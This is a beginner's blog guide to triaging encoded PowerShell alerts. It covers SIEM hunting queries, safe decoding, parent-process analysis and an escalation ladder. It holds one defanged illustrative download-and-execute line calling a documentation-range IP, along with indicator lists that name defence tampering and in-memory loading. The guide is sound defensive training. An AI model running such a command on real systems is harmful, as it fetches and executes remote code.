Home / Blog / Alert Triage

Beginner Alert Triage

How to Triage an Encoded PowerShell Alert

A step by step way to decode an encoded PowerShell command, check its parent process and related activity, and decide whether to close or escalate.

Encoded PowerShell alerts are common, and the command line tells you almost nothing until you decode it. This guide helps new analysts decode the command safely, read the context around it and reach a defensible decision on shift.

Best forNew analysts working the alert queue
Data you needProcess creation logs, ideally script block logs too
ATT&CKT1059.001, T1027.010
>

Scenario: Your SIEM raises "Encoded PowerShell command" on WS-114. The command line is powershell.exe -nop -w hidden -enc <long base64 string>, running as a standard user. Nobody has reported a problem. You need to decide whether this is an administration script or the start of an intrusion.

Why does encoding matter?

PowerShell has a legitimate -EncodedCommand parameter. Microsoft documents it as a way to pass commands that contain complex quotation marks or curly braces. The value must be Base64 of a UTF-16LE string.

Attackers like the same feature because it hides the real command from a quick read and from simple string matching. ATT&CK tracks this as T1027.010 Command Obfuscation alongside T1059.001 PowerShell.

So encoding alone does not prove malice. It only means you have not yet seen the command. Your job is to reveal it, then judge it in context.

i

Note: PowerShell accepts shortened parameter names, so expect -enc, -ec and -e as well as the full name. Detection logic that only looks for -encodedcommand will miss these. Also look at the process's original file name where you have it, because a renamed copy of PowerShell will not match on image name.

Find the full command and its parent

Start by pulling the process event, not just the alert text. Alert titles and summaries often truncate long command lines. You want the complete command, the user, the parent process and the parent's command line.

Microsoft Sentinel or Defender XDR

This query extracts the Base64 and decodes it inline. It keeps every second byte, which is enough for the ASCII text that most scripts contain. Treat any odd characters in the result as a reason to decode the string properly with the method in the next task.

Microsoft Sentinel or Defender XDRKQL
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe", "pwsh.exe")
| extend Encoded = extract(@"(?i)\s[-/]e[ncodema]*\s+([a-z0-9+/=]{16,})", 1, ProcessCommandLine)
| where isnotempty(Encoded)
| extend Bytes = base64_decode_toarray(Encoded)
| mv-apply with_itemindex=i b = Bytes to typeof(long) on (
    where i % 2 == 0
    | order by i asc
    | summarize CodePoints = make_list(b)
)
| extend Decoded = unicode_codepoints_to_string(CodePoints)
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName,
    InitiatingProcessCommandLine, ProcessCommandLine, Decoded
| order by Timestamp desc

Splunk with Sysmon

Sysmon Event ID 1 gives you the fields you need. Adjust the index name to match your environment.

Splunk, Sysmon Event ID 1SPL
index=sysmon EventCode=1 (Image="*\\powershell.exe" OR Image="*\\pwsh.exe" OR OriginalFileName="PowerShell.EXE")
| rex field=CommandLine "(?i)\s[-/]e[ncodema]*\s+(?<encoded>[a-z0-9+/=]{16,})"
| where isnotnull(encoded)
| table _time host User ParentImage ParentCommandLine CommandLine encoded
| sort - _time
+

Tip: Using Windows Security logs instead? Event ID 4688 only records the command line if the "Include command line in process creation events" policy is enabled, along with Audit Process Creation. If the Process Command Line field is empty, raise it as a logging gap.

Decode the command safely

Decode on your analyst machine or in an approved tool, and only ever convert the text. Never run the output, and never pipe it into Invoke-Expression.

Decode without executingPowerShell
$b64 = 'VwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAFAAcgBhAGMAdABpAGMAZQAgAHMAYQBtAHAAbABlADoAIAB0AGgAaQBzACAAcwB0AHIAaQBuAGcAIABpAHMAIABoAGEAcgBtAGwAZQBzAHMAJwA='
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($b64))

That sample is harmless, so you can use it for practice. In .NET, Unicode means UTF-16LE. If you prefer CyberChef, chain From Base64 and Decode text set to UTF-16LE (1200). Use a local or internally hosted copy if your policy restricts pasting data into websites.

The output may contain a second layer. A call to FromBase64String feeding GzipStream or DeflateStream means the real content is compressed. In CyberChef, add Gunzip or Raw Inflate and keep going until you reach readable script.

Check script block logs for the real script

If script block logging is enabled, Event ID 4104 may already hold the decoded script, because PowerShell logs the content it processes. Windows PowerShell writes to Microsoft-Windows-PowerShell/Operational, and PowerShell 7 writes to PowerShellCore/Operational.

Splunk, Event ID 4104SPL
index=wineventlog source="XmlWinEventLog:Microsoft-Windows-PowerShell/Operational" EventCode=4104 host="WS-114"
| table _time ScriptBlockId MessageNumber MessageTotal Path ScriptBlockText
| sort 0 ScriptBlockId num(MessageNumber)

Large scripts are split across several events, so sort by the part number and join them using the shared ScriptBlockId. Even without the policy, PowerShell automatically logs script blocks with content often used by malicious scripts. Microsoft describes that only as a record of last resort, so absence proves nothing.

Read what the script is doing

You do not need to understand every line. Look for intent. A decoded downloader often looks like this defanged illustration:

Illustrative decoded content, defangedText
IEX (New-Object Net.WebClient).DownloadString('hxxp://203.0.113.10/a.ps1')

These are the patterns that should change how you treat the alert:

Download and run

High
Indicator

DownloadString, Invoke-WebRequest or Net.WebClient combined with IEX.

Response

Record the URL, search for other hosts contacting it and escalate.

In-memory loading

High
Indicator

Reflection.Assembly, VirtualAlloc or a large embedded byte array.

Response

Escalate and consider isolating the host, as the payload may never touch disk.

Tampering with defences

High
Indicator

References to AmsiUtils or Set-MpPreference exclusions. Maps to T1562.001.

Response

Escalate, and check whether protection settings changed on the host.

Stealth flags

Medium
Indicator

-nop, -w hidden or -ep bypass on the command line.

Response

Suspicious but also used by admin tools. Weigh it with the parent and the content.

Judge the parent process

The same command means very different things depending on what launched it. Trace the chain up at least two levels, because cmd.exe in the middle often hides the true origin.

ParentWhat it may meanWhat to check
winword.exe, excel.exe, outlook.exeMalicious document or attachmentRecent emails and opened files for that user
explorer.exeUser launched it, possibly through the Run dialog after a fake prompt (T1204.004)The RunMRU registry key and recent browser activity
w3wp.exePossible web shell on an IIS server (T1505.003)Web logs and recently written files in web directories
wmiprvse.exeRemote execution through WMI (T1047)Logons to the host just before the event
services.exeService execution (T1569.002)New service installs, System Event ID 7045
svchost.exeOften a scheduled task (T1053.005)New tasks, Security Event ID 4698 if audited
ccmexec.exe, AgentExecutor.exeLikely Configuration Manager or Intune managementConfirm the script matches a known deployment
!

Watch out: A trusted parent does not clear the alert by itself. Attackers who gain access to management tooling can push scripts through it. Check that the decoded content matches something your administrators actually deployed.

Check what happened next

Whatever the script looks like, confirm what it actually did. Build a short timeline of network connections, child processes and files created around the event.

Follow-on activity on the hostKQL
let HostPrefix = "ws-114";
let Start = datetime(2026-11-06T09:14:00Z);
union
    (DeviceProcessEvents
        | where InitiatingProcessFileName in~ ("powershell.exe", "pwsh.exe")
        | project Timestamp, DeviceName, Source = "Process", Detail = ProcessCommandLine),
    (DeviceNetworkEvents
        | where InitiatingProcessFileName in~ ("powershell.exe", "pwsh.exe")
        | project Timestamp, DeviceName, Source = "Network", Detail = strcat(RemoteUrl, " ", RemoteIP, ":", RemotePort)),
    (DeviceFileEvents
        | where InitiatingProcessFileName in~ ("powershell.exe", "pwsh.exe") and ActionType == "FileCreated"
        | project Timestamp, DeviceName, Source = "File", Detail = FolderPath)
| where DeviceName startswith HostPrefix
| where Timestamp between (Start .. (Start + 1h))
| order by Timestamp asc
  • Did PowerShell connect to an external address or domain? Note whether the connection succeeded.
  • Did it create files, especially executables or scripts in user writable paths?
  • Did it spawn other processes, such as rundll32.exe, mshta.exe or whoami.exe?
  • Has the same Base64 string appeared on other hosts? Search for it across the estate.
  • Is the same command seen regularly over weeks from the same parent? That supports a benign, scheduled source.

Close it or escalate it?

Use the evidence to pick one outcome, and write your reasoning in the ticket so the next analyst can follow it.

  1. L0
    Benign, knownDecoded content matches a documented tool, with an expected parent and account. Close it and propose a narrow tuning rule.
    Close
  2. L1
    Unclear intentContent is readable but unfamiliar, with no harmful behaviour seen. Ask the system owner and keep the ticket open.
    Verify
  3. L2
    SuspiciousStealth flags, an unusual parent or a contact with an unknown domain. Escalate with your decoded output.
    Escalate
  4. L3
    MaliciousA download and run pattern, in-memory loading or tampering with defences. Follow your containment runbook straight away.
    Contain
+

Tip: When you tune out a benign tool, match on the parent process, signed path and a stable part of the decoded content. Avoid excluding a whole host or user, which gives an attacker a blind spot.

Key takeaways

  1. Encoding is not a verdict. It tells you to decode the command before judging it.
  2. The value of -EncodedCommand is Base64 of UTF-16LE, so decode with the right character set and watch for further layers.
  3. Event ID 4104 can give you the real script, but only if the logging exists and has not been bypassed.
  4. The parent process often decides how serious the alert is, though a trusted parent never clears it alone.
  5. Confirm the outcome by checking network, file and child process activity, then record your reasoning in the ticket.

Next time this alert fires, try the decoding steps with the practice string first, then save your favourite query as a shortcut. A consistent routine makes each encoded command quicker to resolve and much easier to hand over.

Keep going

More in Alert Triage